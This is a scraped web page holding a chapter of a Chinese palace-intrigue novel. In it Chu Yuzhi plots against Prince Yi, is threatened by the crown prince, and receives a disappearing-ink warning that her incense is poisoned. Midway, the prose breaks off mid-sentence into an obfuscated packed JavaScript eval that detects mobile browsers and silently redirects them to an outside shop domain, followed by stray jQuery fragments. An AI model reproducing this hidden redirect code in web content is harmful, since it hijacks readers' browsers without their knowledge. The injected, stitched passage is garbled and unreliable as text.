文趣网 > 都市小说 > 锁春痕 > 13. 危机
    “我就是要你盯紧贻王,自然,如你有余力冀王与齐王也帮我紧着些。”

    皇帝子嗣不多,目前有的也就是大皇子衡王,二皇子齐王,三皇子贻王,四皇子就是当今的太子,剩下是两个稍小的皇子,是冀王和越王。

    冀王比自己小一岁,是最得宠的淑妃所生,因而皇帝把自己冀王的封号给了他。印象中这个冀王和淑妃也是暗怀鬼胎。

    齐王生母是个嫔位,出身不高,在自己成为太子妃的记忆中,这个齐王徐崇演对太子和褚玉质马首是瞻,好不勤勉。可是太子病重那几日却杳无音讯,实在可疑。

    至于贻王,褚玉质对他的印象似乎只是太子病重时,送来的一颗稀世红珠。然而那颗红得如鲜血欲滴的珍珠,总是莫名其妙出现在褚玉质脑海中,让褚玉质觉得贻王绝不是人人口中不得宠的废物皇子。

    尤其是今日见过大皇子这般行事,愈发觉得宫变不可能是他发动的,他看上去是猖狂不羁,可若是说到屠戮宫闱,残害手足,他未必有这样的狠心。

    如此看来这个贻王确实可疑,不然怎么记忆中的自己会对他有这般杀心。再加上听到的有关贻王的风言风语,让褚玉质对这位废物皇子不禁起了好奇心。

    “奴婢明白,只是奴婢需要个身份,如何光明正大进入储云殿?”

    “不需要新的身份,我已经上疏陛下,重修宗学,到时候你与我出入昭典阁定然也要帮忙打理宗学事务。”宗学是皇子们读书的地方,褚玉质只要保证自己和惠儿有时间接近贻王,就不愁看不出什么马脚。

    惠儿是极聪明的性格,她明白褚玉质是怎样的打算,遂应了一声。

    主仆二人正要离开,却听见一队人马自后方而至,华盖遮天蔽日好似皇帝出行,褚玉质回眸,正看到站在阴影下的太子徐崇煜。

    和方才在大殿上不同,此刻的徐崇煜竟然脸色红润,目光炯炯,仿似之前的病弱苍白都是自己看花了眼,只见他身姿挺拔,稳健地向褚玉质走来,丝毫没有了从前那般孱弱。

    这倒是怪了,怎得一息之间变化如此之大,更何况宮宴时他身体大伤,若是以往总要卧床十天半个月才能好,可这才过去几天,他反而神采熠熠地站在自己面前。

    看到褚玉质脸上凝滞的神情,徐崇煜有些得意地仰起头,随后挥手屏退了手持仪仗的宫女太监。

    “本打算骗高阳公主和衡王的把戏,没想到连你也骗了。”徐崇煜的语气颇为自得,然而神态依旧维持着从前温润的形象。

    “太子殿下身体康复,臣女恭喜殿下。”褚玉质屏去心中疑惑,代之以脸上温和谦卑的笑意。

    可是这在徐崇煜看来却不是滋味,她在大殿上对自己的冷漠态度,让徐崇煜心中愤恨难平。

    褚玉质从前对他暗生的情愫,在他看来一文不值。就连自己生病诱骗她来照顾,也不过是和宋清罗使用的诡计罢了。可是当他看到如今的褚玉质眉眼间的疏离,失控的感觉让他想要急切地看到褚玉质再度温驯的模样。

    “你的恭敬怕也只是嘴上说说,那日看我吐血,你就暗中让母后取消婚约,嗯?”

    “你我婚约是皇后娘娘和陛下决定的,臣女岂有能力悔约?说到底是皇后娘娘自己心有另外的打算,至于是什么打算,臣女人微言轻,也不好揣度。”

    徐崇煜不可能不知晓萧皇后取消婚约的真正意图,褚家既无用,何必让褚氏女占着个太子妃的位置。他之所以说出这话,不过是可以的刁难罢了。

    “既然你做不了太子妃,也可以做我的侧妃,今日我在殿上要纳你为侧妃,你为何避而不谈?”

    褚玉质回想起徐崇煜今日大殿之上,他要“慈悲大度”地纳自己为侧妃,自己不好发作只得转移视线。

    而徐崇煜就盯上了这一处,昔日低眉俯首的女子,今日眉眼间却藏不住对他的冷漠,他十分不忿。更让徐崇煜大为光火的是,自己宮宴上毒害褚玉质的毒计竟未奏效,反而是自己不知为何病发吐血,让一众官眷贵女看见了自己这狼狈一幕,徐崇煜想想便恨得牙根痒痒。

    “太子殿下,储君婚事向来由陛下和皇后娘娘做主,臣女绝不敢胡乱攀扯天家……”

    “褚玉质,当初你跑来我寝殿,照顾我时的下贱模样,你是忘了?”

    四下无人之时,徐崇煜也顾不得什么君子体面,直接上前攫住了褚玉质的下巴,将从前褚玉质的不堪悉数吐露。

    “当初我心系太子殿下,做出这等逾矩之事,如今得了教训,不会再沾染殿下分毫,殿下自重。”褚玉质一把拂去了徐崇煜掐着下巴的手,漆黑的瞳仁因为愤怒轻颤。

    她重整了发髻,又露出疏离冷漠的表情,带着些讽刺地说道:“太子殿下若是想日后继承大统,还是修心为上吧。”

    “褚玉质,别以为父皇让你做了掌书侍卿你就可以无法无天,”徐崇煜被激怒,他复又指着褚玉质:“等清罗嫁给我之后,我要纳你做最低贱的通房,日日给我们二人在榻下提鞋。”

    这句话不禁在褚玉质心底滋长了杀心。这几日疲于应付高阳一众人,怎么把这个德不配位的储君抛到了脑后呢,当真是疏忽。

    徐崇煜不满褚玉质这样不屑的态度,上手猛地抓住了褚玉质的手腕,力道大的让褚玉质的耳环和钗环都为之一震,褚玉质也不禁凝起了眉。

    “那日宮宴夜晚,褚千户的衙门失火焚卷,说是有关萧家的东西烧得片纸不剩,”徐崇煜压低声音宛如毒蛇吐信:“我怎么不信呢?”

    “你说,蝼蚁焉能撼动参天大树?”徐崇煜又幽幽地补充一句。

    褚玉质静立在园中,并没有半分惊慌神色。徐崇煜见褚玉质隐忍不发,自觉地自己占了上风,又强调了自己定要纳褚玉质为贱妾的决心,随后便甩手而去,方才退至假山的宫女太监又前呼后拥地离开。

    惠儿默默从竹林后方走出来,方才一切她看得一清二楚:“也是怪了,怎么太子殿下片刻不见竟这般康健了。”

    “萧家家大业大,为了保住太子,什么法子找不到。”

    此刻远处的假山空洞中,一个鹅黄色的身影一晃而散。宋清罗愤恨地背靠在石壁上。

    “贱人。”

    她方才在假山洞中看得一清二楚,徐崇煜是如何被褚玉质的冷漠所激怒。宋清罗知道,若是太子心中没有褚玉质一丝一毫的位置,绝不可能在大殿之上要纳她为侧妃,也不会被褚玉质的冷淡激

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944270|213938||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    怒。

    这个贱人必须死。

    --

    贻王是乘着月色入宫的,惠儿当即要将贻王回宫的事告诉给褚玉质,却只见褚玉质正在屏风后方读着一封小笺。

    “是爹爹送来的信,只说要去外地,还叫我独自在宫中留意着自己。”

    “外地?”惠儿问道:“若有案子各州县都有衙门,竟需要劳动褚大人。”

    褚玉质没再讲话,把小笺放在烛火上,片刻便被烧为灰烬。她隐隐有预感,父亲这次是去外地奉密旨办差,或许事关萧家。

    然而就在这时二人一旁的窗户竟不寻常的晃动几下,窗边的蜡烛被窗缝灌进来的风吹得,似是被人推动了。褚玉质跑过去查看,果然看见一闪而过的黑影。

    褚玉质看向身边的惠儿,惠儿会意将窗子略微打开,窗棂“吱呀”一声,在寂静夜色中倍显凄凉。惠儿向外探去,伸手摸索了一番,只觉得窗外的盆栽似乎被人动过,她伸手去摸,果然找到一根小指节长的细竹子,里面卷着一张小纸。

    褚玉质结果,打开后纸上只有简短的一行小字:香气有毒。

    褚玉质和惠儿不免心中一惊,来不及思索送信人是谁,只不约而同地捂住口鼻,将香炉熄灭。只因自搬进觅水轩之后,远山炉中的熏香已经燃烧了大半日。惠儿赶紧熄灭了香,并把梳妆台里未曾用过的香都取了出来,二人一一查看。

    “这都是侍卿平日里最爱用的熏香都在这里了。”

    褚玉质反复查验,却并未发现不妥,何况有的熏香是从家中带来的,若是真有毒,自己熏了这么多年,总该熏出毛病了。

    “奇怪,并未看出有什么不妥。”

    褚玉质拿过那张字条细看,只见字条上的字迹墨色竟渐渐发灰变浅,最终消失得无影无踪。不论透着月光还是被烛火烘烤,都无再现字迹的样子。

    惠儿自小在萧家和宫廷中长大,主子们的手段她也见得多了,只是这种凭空消失的墨,她还从未见过,只觉稀奇。

    “这字迹竟会自己消失,奴婢还从未见过这样的事,这字条到底会是谁送来的呢?”

    褚玉质眸光流转片刻,说道“我想起从前在江浙老家时,有卖货郎传过这种稀奇东西,听说是西北林地中的獾,吃了林地中的毒果子后,獾胆中的汁液就会漆黑如墨,若以此为墨写在纸上,不消三刻便会消失。”

    “獾?”惠儿拿过字条反复闻了闻:“也未曾闻见什么异味,不过若这是真的,那这神奇玩意儿便是……”

    惠儿话音未落,褚玉质便露出了然的神色,吩咐道:“惠儿,我想一个人出去走走,你把我的斗篷拿过来。”

    --

    半个月未至,废园的景象更是荒凉了。褚玉质像是来惯了一般,丝毫不觉得恐惧,斗篷从头到脚把她裹住,她也不再觉得冷,只觉得废园是宫中一片难得的清静之地。

    褚玉质这次并未轻举妄动,她知道若是上次那群神秘不知身份的人在,很快就会现身。

    正等着,褚玉质听到背后的林子里簌簌几声,褚玉质隐约觉得不寻常,忙回头看去,竟看见一个蒙脸的黑衣男子向自己冲来。

    这绝对不是魏先那伙人!